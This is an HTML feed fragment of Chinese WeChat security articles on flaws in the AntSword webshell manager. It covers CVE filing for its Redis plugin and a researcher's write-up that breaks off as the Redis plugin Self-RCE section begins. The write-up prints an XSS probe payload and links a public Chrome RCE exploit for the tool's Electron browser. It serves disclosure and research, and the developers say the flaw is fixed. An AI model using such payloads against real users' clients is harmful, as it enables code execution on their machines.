&#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><br/></span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><p><strong style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: left;"><span style="font-size: 16px;">写在最后</span></strong><br/></p><p><br/></p><p style="text-align: left;"><span style="font-size: 15px;">  有个坑点需要说一下，</span><span style="font-size: 15px;color: rgb(255, 0, 0);"><strong>申请CVE的GitHub仓库，必须是原始仓库</strong></span><span style="font-size: 15px;">。一开始我是用 AntSword-Store/AS_Redis 这个仓库去申请的，结果被驳回了，理由是不是官方仓库</span><br/></p><p><span style="font-size: 15px;"><br/></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-fileid="100000681" data-galleryid="" data-ratio="0.6211312700106724" data-s="300,640" style="" data-type="png" data-w="1874" src="https://wechat2rss.xlab.app/img-proxy/?k=ffeb10b7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy215NqqqtjWibuB36jSYPwoPkWnkZk3tl6Cic71aBZV6xfEhmVstMHibemuQ8ICJA3jG5nog1eEtM10Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span style="font-size: 15px;">后来我以为是因为我软件生态填的是 AntSword，所以要去 AntSword 下申请。然后他告诉我，你不是官方仓库，所以不行。喵？喵？喵？</span></p><p style="text-align: left;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-fileid="100000683" data-galleryid="" data-ratio="0.5430944963655244" data-s="300,640" style="" data-type="png" data-w="1926" src="https://wechat2rss.xlab.app/img-proxy/?k=bcbc80b3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy215NqqqtjWibuB36jSYPwoPYTOAHXKEZaY5gCTafz09OdLHOJ3Mic5zEQiblgrcIp7icHJryLJNCtiaZA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="font-size: 15px;">最后想明白了，AntSword-Store 的仓库是 Fork 过来的，得去最原始的仓库申请</span><br/></p><p><span style="font-size: 15px;"><br/></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-fileid="100000682" data-galleryid="" data-ratio="0.20422535211267606" data-s="300,640" style="" data-type="png" data-w="852" src="https://wechat2rss.xlab.app/img-proxy/?k=6472874c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy215NqqqtjWibuB36jSYPwoP8yha8tGmQPdFlX50KkL5Xgtw77foIq3okeneox6ptwibYiaLceyGffVQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="font-size: 15px;">最后，感谢大家的努力，让AntSword生态更加安全。发现漏洞请联系开发团队 ：）</span></p><p><br/></p><blockquote class="js_blockquote_wrap" data-type="2" data-url="" data-author-name="" data-content-utf8-length="70" data-source-title=""><section class="js_blockquote_digest"><p style="text-align: left;">吐槽两句: 插件也能申请 CVE 这是我都没想到的，不过WordPress的插件能申请CVE，AntSword 的插件申请CVE好像也没什么不对的？</p></section></blockquote><p><br/></p><hr style="white-space: normal;border-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-color: rgba(0, 0, 0, 0.1);transform-origin: 0px 0px;transform: scale(1, 0.5);"/><p style="white-space: normal;text-align: center;"><br/></p><p style="white-space: normal;text-align: center;"><img data-copyright="0" data-fileid="100000666" data-ratio="1" data-s="300,640" style="height: 198px;width: 198px;" data-type="jpeg" data-w="258" src="https://wechat2rss.xlab.app/img-proxy/?k=a606fcfb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FlkcJVly3Wy3kYxrKTnbxKyJeZhmfzqjkiaA1gWNNFdGMgnpWbicm1mzDFq0Sicfzv5HPHqRlyuDDeUHTE8QJpm9FQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="white-space: normal;text-align: center;"><span style="font-size: 12px;color: rgb(136, 136, 136);">不如关注一波再走？</span></p><p><br/></p><p><br/></p>



<p><a href="https://github.com/Medicean/AS_Redis/security/advisories/GHSA-j8j6-f829-w425">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=45d3aad0&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI0MDI5MTQ3OQ%3D%3D%26mid%3D2247484334%26idx%3D1%26sn%3De20074ecd0e0b1f011befdb5f5130dcc%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 23 Oct 2021 12:08:00 +0800</pubDate>
    </item>
    <item>
      <title>从虚假的XSS到放弃RCE再到Self-RCE</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI0MDI5MTQ3OQ==&amp;mid=2247484313&amp;idx=1&amp;sn=7d2470ac7d48d642fc244d2d34cd39f2</link>
      <description>文章开始前，说点题外话，接上次转发的文章（端内钓鱼，反制蚁剑）后台反馈下来的消息看，大家普遍都没整明白这波是什么操作</description>
      <content:encoded><![CDATA[<p>
<span>cc7v@校长</span> <span>2021-10-20 00:49</span> <span style="display: inline-block;"></span>
</p>

<p>文章开始前，说点题外话，接上次转发的文章（端内钓鱼，反制蚁剑）后台反馈下来的消息看，大家普遍都没整明白这波是什么操作</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=69850476&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FlkcJVly3Wy3VlzU4jsdyBhpa4Is2X95vbV1sGafjqXvA9GRXdaNsv20d1Q2ZMAAEY79UsXgdmpe31PVzqxXia4g%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="text-align: left;"><br/><span style="font-size: 15px;">文章开始前，说点题外话，接上次转发的文章（</span><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzI0MDI5MTQ3OQ==&amp;mid=2247484286&amp;idx=1&amp;sn=f569389bd243f531e0ec96e8771a057d&amp;chksm=e91c5886de6bd190252668559570c202bade76758f7833c418d01ea1de1446b92ac3b301a18d&amp;scene=21#wechat_redirect" data-itemshowtype="11" tab="innerlink" style="font-size: 15px;" data-linktype="2"><span style="font-size: 15px;">端内钓鱼，反制蚁剑</span></a><span style="font-size: 15px;">）后台反馈下来的消息看，大家普遍都没整明白这波是什么操作，所以蹭着这一波的热度，再和大家先聊聊蚁剑的安全问题:</span><br/></section><section style="text-align: left;"><span style="font-size: 15px;"><br/></span></section><section style="text-align: left;"><span style="font-size: 15px;">1. 有攻有防, 我们不会回避安全问题, 除了修复漏洞之外，并且每次我们还会将漏洞的详情、EXP 都会公开，方便大家能够从历史漏洞当中学到审计还未被挖掘到的漏洞。</span></section><section style="text-align: left;"><br/></section><section style="text-align: left;"><span style="font-size: 15px;">2. 当然作为一个插件开发者，dhtmlx 文档里未提到的一些属性明明是按 html 渲染的，结果给这个属性取了一个迷惑的名字 text (比如 Tree、Grid组件)，这些坑你翻文档都是翻不到的，看漏洞报告就能知道了。当然这个后期我抽空整理一下贴文档里吧。</span><strong style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">为啥dhtmlx 都 v7 了蚁剑用的还是 v4 的？收费用不起</strong></section><section style="text-align: left;"><span style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><br/></span></section><section style="text-align: left;"><span style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">3. 有关漏洞提交，我还是希望大家能在第一时间能与开发组联系，使用蚁剑内的「报告漏洞」功能，或者是直接给我发邮件也是OK的。</span></section><section style="text-align: left;"><span style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><br/></span></section><section style="text-align: left;"><span style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><img data-fileid="100000660" data-ratio="0.6722222222222223" data-w="1080" data-type="jpeg" src="https://wechat2rss.xlab.app/img-proxy/?k=37eb1018&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy2yYjYYMEEkLvNDxoJz8hib6DyegIBShF6FxR1kOE2INDtmtRic4GuCub4301qR4rVBgRufn2VKF4Ag%2F640%3Fwx_fmt%3Djpeg"/></span></section><section style="text-align: left;"><span style="font-size: 15px;"><br/></span></section><section style="text-align: left;"><span style="font-size: 15px;">Github 的 issue 功能是公开的，不适合漏洞报告披露的准则，所以尽量还是用上面的形式吧。<br/></span></section><section style="text-align: left;"><span style="font-size: 15px;"><br/></span></section><section style="text-align: left;"><span style="font-size: 15px;">4. CVE 或者 CNVD 编号申请这块，如果大家有需要，我们是积极配合的，<span style="font-size: 15px;text-align: left;">请</span>放心去冲</span></section><section style="text-align: left;"><span style="font-size: 15px;"><br/></span></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-fileid="100000661" data-galleryid="" data-ratio="0.27602905569007263" data-s="300,640" style="" data-type="png" data-w="2478" src="https://wechat2rss.xlab.app/img-proxy/?k=b0032ccf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy3VlzU4jsdyBhpa4Is2X95vLpbSlaALJ4RiaMJ6uMubLPHXovVkds5BZGDdSCn01txF60yoOUtMs7g%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-align: left;"><br/></section><section style="text-align: left;"><span style="font-size: 15px;"></span><span style="font-size: 15px;text-align: left;">讲道理，蚁剑能跑到厂商列表里，我也是挺意外的</span><br/></section><section style="text-align: left;"><br/></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-fileid="100000662" data-galleryid="" data-ratio="0.7607607607607607" data-s="300,640" style="" data-type="png" data-w="1998" src="https://wechat2rss.xlab.app/img-proxy/?k=c5c5e880&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy3VlzU4jsdyBhpa4Is2X95vYXuSjzIUN4CHmkM1KCDMN1KbhEhDE3W1t1ic7IttAI8FgnbhWgfhNDQ%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-align: left;"><br/></section><section style="text-align: left;"><span style="font-size: 15px;">5. 蚁剑作为自身出现了安全问题，不会耻辱吗，还可以继续使用吗？</span><br/></section><section style="text-align: left;"><span style="font-size: 15px;">    的确，作为一款网站管理软件，自身出现安全漏洞，确实影响我们日常维护网站的站长的心态，请务必及时更新。</span></section><section style="text-align: left;"><span style="font-size: 15px;">    没有一个系统是安全的，蚁剑的历史漏洞大多都是因为开发过程中疏忽，这也正是大部分的安全漏洞产生的通病, <span style="font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);">欢迎更多的大佬可以参与到帮AntSword找漏洞的计划中来，蚁剑会因为你的细心变得更优秀</span>。</span></section><section style="text-align: left;"><br/></section><blockquote class="js_blockquote_wrap" data-type="2" data-url="" data-author-name="" data-content-utf8-length="36" data-source-title="学蚁致用"><section class="js_blockquote_digest"><section>本文来自 cc7v@校长 的知识星球，文章中部分内容「学蚁致用」会略做修改</section></section><section class="blockquote_info js_blockquote_source" data-json="%7B%22type%22%3A%22out%22%2C%22source%22%3A%22url%22%2C%22digest%22%3A%22%22%2C%22digestLen%22%3A38%2C%22text%22%3A%22%E2%80%8B%E6%9C%AC%E6%96%87%E6%9D%A5%E8%87%AA%20cc7v%40%E6%A0%A1%E9%95%BF%C2%A0%E7%9A%84%E7%9F%A5%E8%AF%86%E6%98%9F%E7%90%83%EF%BC%8C%E6%96%87%E7%AB%A0%E4%B8%AD%E9%83%A8%E5%88%86%E5%86%85%E5%AE%B9%E3%80%8C%E5%AD%A6%E8%9A%81%E8%87%B4%E7%94%A8%E3%80%8D%E4%BC%9A%E7%95%A5%E5%81%9A%E4%BF%AE%E6%94%B9%22%2C%22article%22%3A%7B%7D%2C%22hasReportOverSize%22%3Afalse%2C%22editorReportData%22%3A%5B%7B%22id%22%3A%22122333%22%2C%22key%22%3A%2276%22%2C%22len%22%3A1%7D%5D%2C%22from%22%3A%22%E5%AD%A6%E8%9A%81%E8%87%B4%E7%94%A8%22%7D"><span class="blockquote_other">学蚁致用</span></section></blockquote><p><br/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><br/></p><p><strong>0x01 前言</strong></p><p><br/></p><p style="text-align: left;"><span style="font-size: 15px;">中午在学校午休，就看了 @忍酱 的反制Goby， </span><strong><span style="font-size: 15px;background-color: rgb(214, 214, 214);">@暗羽师傅</span></strong><span style="font-size: 15px;"> 的反制Burpsuite还有 </span><strong><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: justify;font-size: 15px;background-color: rgb(214, 214, 214);">@先知社区</span></strong><span style="font-size: 15px;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: justify;"> 里的反制蚁</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">剑, </span></span><strong><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;background-color: rgb(214, 214, 214);">@f4ltJ4y</span></strong><span style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"> 的蚁剑复现，挑起了我想反制的心！</span></p><p style="text-align: left;"><br/></p><p><br/></p><p><span style="font-size: 15px;">蚁剑版本: <span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">2.1.12</span></span></p><p><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-fileid="100000641" data-galleryid="" data-ratio="0.6301969365426696" data-s="300,640" style="" data-type="png" data-w="457" src="https://wechat2rss.xlab.app/img-proxy/?k=bea3ccf3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy3VlzU4jsdyBhpa4Is2X95vnp4O2V5YYQibSIgrvHxNJqhHmBBNfhJ1hDiarVT61exia5Kg5HiaBYUAag%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><strong><br/></strong></p><p><strong>0x02 虚假XSS</strong></p><p><br/></p><p style="text-align: left;"><span style="font-size: 15px;">蚁剑是自带浏览器的，用的是Chrome！本想着暗羽师傅的那篇可以用得到，发现版本不对</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-fileid="100000642" data-galleryid="" data-ratio="0.24242424242424243" data-s="300,640" style="" data-type="png" data-w="264" src="https://wechat2rss.xlab.app/img-proxy/?k=3015381a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy3VlzU4jsdyBhpa4Is2X95vfA2dIf42qib24hibGyXnfQ4enpdia7Wiaxljia9CQYMIdz00PzNnibHNbyFg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-fileid="100000643" data-galleryid="" data-ratio="0.29554043839758126" data-s="300,640" style="" data-type="png" data-w="1323" src="https://wechat2rss.xlab.app/img-proxy/?k=0fc9df81&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy3VlzU4jsdyBhpa4Is2X95vIn0c8bYwFnAWicqJc5JjDC3Eu3XD8Feu7aJjiaNMI2MVuIg7SDVziaGWQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="font-size: 15px;">发现它调用了dhtmlx框架，可以解析HTML</span></p><p><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer">&lt;img src=1 onerror=alert(1)&gt;</span></code></pre></section><p><br/></p><p><span style="font-size: 15px;">正是因为这个虚假的XSS，更加激发了我想RCE的心！我们可以参考：</span></p><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><br/></span></p><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><a href="https://xz.aliyun.com/t/8167" target="_blank">https://xz.aliyun.com/t/8167</a></span><br/></p><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><br/></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-fileid="100000644" data-galleryid="" data-ratio="0.6758620689655173" data-s="300,640" style="" data-type="png" data-w="1305" src="https://wechat2rss.xlab.app/img-proxy/?k=9a520b76&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy3VlzU4jsdyBhpa4Is2X95vWIfibqzjoffx6rE3wtkibRIWYX46licY86vVkicqSMZG8hT75MwibbQuYng%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><blockquote class="js_blockquote_wrap" data-type="2" data-url="" data-author-name="" data-content-utf8-length="64" data-source-title="学蚁致用"><section class="js_blockquote_digest"><p>批注:

「浏览网站」模块中，创建 Window 的时候，禁止了 Node 上下文支持，并且开启了沙箱，所以即便有 XSS 也不会引发 RCE。</p></section><section class="blockquote_info js_blockquote_source" data-json="%7B%22type%22%3A%22out%22%2C%22source%22%3A%22url%22%2C%22digest%22%3A%22%3Cp%3E%E3%80%8C%E5%AD%A6%E8%9A%81%E8%87%B4%E7%94%A8%E3%80%8D%E6%89%B9%E6%B3%A8%3A%5Cn%5Cn%E3%80%8C%E6%B5%8F%E8%A7%88%E7%BD%91%E7%AB%99%E3%80%8D%E6%A8%A1%E5%9D%97%E4%B8%AD%EF%BC%8C%E5%88%9B%E5%BB%BA%E7%9A%84%26nbsp%3BWindow%26nbsp%3B%E4%B8%AD%E7%A6%81%E6%AD%A2%E4%BA%86%26nbsp%3BNode%26nbsp%3B%E4%B8%8A%E4%B8%8B%E6%96%87%E6%94%AF%E6%8C%81%EF%BC%8C%E5%B9%B6%E4%B8%94%E5%BC%80%E5%90%AF%E4%BA%86%E6%B2%99%E7%AE%B1%EF%BC%8C%E6%89%80%E4%BB%A5%E5%8D%B3%E4%BE%BF%E6%9C%89%26nbsp%3BXSS%26nbsp%3B%E4%B9%9F%E4%B8%8D%E4%BC%9A%E5%BC%95%E5%8F%91%26nbsp%3BRCE%E3%80%82%3C%2Fp%3E%22%2C%22digestLen%22%3A76%2C%22text%22%3A%22%22%2C%22article%22%3A%7B%7D%2C%22hasReportOverSize%22%3Afalse%2C%22editorReportData%22%3A%5B%7B%22id%22%3A%22122333%22%2C%22key%22%3A%2276%22%2C%22len%22%3A1%7D%5D%2C%22from%22%3A%22%E5%AD%A6%E8%9A%81%E8%87%B4%E7%94%A8%22%7D"><span class="blockquote_other">学蚁致用</span></section></blockquote><p><br/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><br/></p><p><strong><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;">0x03 放弃RCE</span></strong><br/></p><p><br/></p><p><span style="font-size: 15px;">我在想既然有内置浏览器，那么Chromium浏览器<span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">版本是否存在漏洞呢？</span> 我们先得获取Chromuim版本</span></p><p><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"># Console</span></code><code><span class="code-snippet_outer">navigator.appCodeName</span></code><code><span class="code-snippet_outer">navigator.appVersion</span></code></pre></section><p><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-fileid="100000645" data-galleryid="" data-ratio="0.24251497005988024" data-s="300,640" style="" data-type="png" data-w="334" src="https://wechat2rss.xlab.app/img-proxy/?k=e5d0f1dd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy3VlzU4jsdyBhpa4Is2X95vBgKcw2wlMorSOQnJU1PVDicwodICVcabTJTDeLgyh5jNnz6SELxvkAg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;">如上图，谷歌浏览器的产品代号为&#34;Mozilla&#34;</span><br/></p><p><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-fileid="100000646" data-galleryid="" data-ratio="0.20677361853832443" data-s="300,640" style="" data-type="png" data-w="561" src="https://wechat2rss.xlab.app/img-proxy/?k=15e030f5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy3VlzU4jsdyBhpa4Is2X95vkJ5z1KXHrP7aEEqXZKnzOnlGlbVfkLprJiaJ5H27Tskdva264TBDccw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">&#34;5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) antsword/2.1.12 Chrome/69.0.3497.106 Electron/4.0.3 Safari/537.36&#34;</span></code></pre></section><p><br/></p><p><br/></p><p><span style="font-size: 15px;">上图已知，</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;">Chrome/69.0.3497.106 Electron/4.0.3 我们查找相对应的远程代码执行的漏洞！已关闭沙箱</span></p><p><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-fileid="100000647" data-galleryid="" data-ratio="0.2852153667054715" data-s="300,640" style="" data-type="png" data-w="859" src="https://wechat2rss.xlab.app/img-proxy/?k=1b6793e3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy3VlzU4jsdyBhpa4Is2X95vJLMibXXeQicDQ7V0tmwI7gknvictSj0O70KnQqxKlB7iaZFQUDOZ66LN5g%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="text-align: left;"><span style="font-size: 15px;">通过万能的百度我找到一个 </span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;">Google Chrome &lt; = 87.0.4280.88 远程代码执行</span></p><p><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-fileid="100000648" data-galleryid="" data-ratio="0.3267605633802817" data-s="300,640" style="" data-type="png" data-w="710" src="https://wechat2rss.xlab.app/img-proxy/?k=4243a6fc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy3VlzU4jsdyBhpa4Is2X95vibia0jCnrkYTYKKRDzuvCXZ4Bgqq7Cp9wMVWDeRwOtvyFPw1SU8eicNGA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span class="code-snippet_outer"># 参考文档:</span></code><code><span class="code-snippet_outer"><a href="https://www.cnblogs.com/ethtool/p/14652420.html" target="_blank">https://www.cnblogs.com/ethtool/p/14652420.html</a></span></code><code><span class="code-snippet_outer"><a href="https://github.com/r4j0x00/exploits/blob/master/CVE-2020-16040/exploit.js" target="_blank">https://github.com/r4j0x00/exploits/blob/master/CVE-2020-16040/exploit.js</a></span></code></pre></section><p><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-fileid="100000649" data-galleryid="" data-ratio="0.5364583333333334" data-s="300,640" style="" data-type="png" data-w="1920" src="https://wechat2rss.xlab.app/img-proxy/?k=53edb6c0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy3VlzU4jsdyBhpa4Is2X95vZpxXSy287K6fX0aeskYkicVLwFicbWy564iblEURd2wEqGR8e2WPxX4vA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="text-align: left;"><span style="font-size: 15px;">尝试后，我实在是想不明白这个DevTools怎么搞，我想尝试别的版本，高版本低版本我都试过了，都是 同一个问题！希望有师傅能够解惑，我太菜了。</span></p><p><br/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><br/></p><p><span style="font-size: 17px;"><strong>0x04 「Redis管理」插件 Self-RCE</strong></span></p><p><br/></p><blockquote class="js_blockquote_wrap" data-type="2" data-url="" data-author-name="" data-content-utf8-length="16" data-source-title=""><section class="js_blockquote_digest"><p>本文所述该插件的漏洞目前已经修复</p></section></blockquote><p><br/></p><p><span style="font-size: 15px;">峰回路转，本来我是打算放弃的，就随便点点插件里的内容。我是原先有下载一个Redis管理的插件的</span></p><p><span style="font-size: 15px;"><br/></span></p><p style="text-align: center;"><img 